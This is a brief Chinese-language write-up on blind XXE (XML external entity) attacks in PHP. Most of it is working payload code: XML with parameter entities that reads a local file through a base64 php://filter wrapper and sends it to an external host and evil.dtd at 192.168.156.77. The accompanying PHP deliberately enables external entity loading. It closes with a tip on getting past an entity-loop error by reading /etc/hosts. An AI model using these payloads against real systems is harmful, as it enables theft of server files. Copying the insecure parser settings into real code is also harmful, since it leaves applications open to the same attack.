blind-XXE的几个细节

在libxml>=2.9.0以后的版本默认不开启外部实体解析，需要添加参数开启

<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/aaa.txt">
<!ENTITY % remote SYSTEM "http://192.168.156.77/xxe/evil.dtd">
%remote;
%all;
]>
<c>&send;</c>
EOF;

libxml_disable_entity_loader(false);
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);#print_r($data);<br />

<!ENTITY % all
"<!ENTITY send SYSTEM 'http://192.168.156.77/?%file;'>"
>

<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/aaa.txt">
<!ENTITY % remote SYSTEM "http://192.168.156.77/xxe/evil.dtd">
%remote;
%send;
]>
<c></c>
EOF;

libxml_disable_entity_loader(false);
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
#print_r($data);

<!ENTITY % all
"<!ENTITY &#37; send SYSTEM 'http://192.168.156.77/?%file;'>"
>

如果有类似如下报错，尝试换/etc/hosts读取，可能是防止指数放大攻击，对内容长度做了限制。

Detected an entity reference loop in http://192.168.125.133:8081/evil.dtd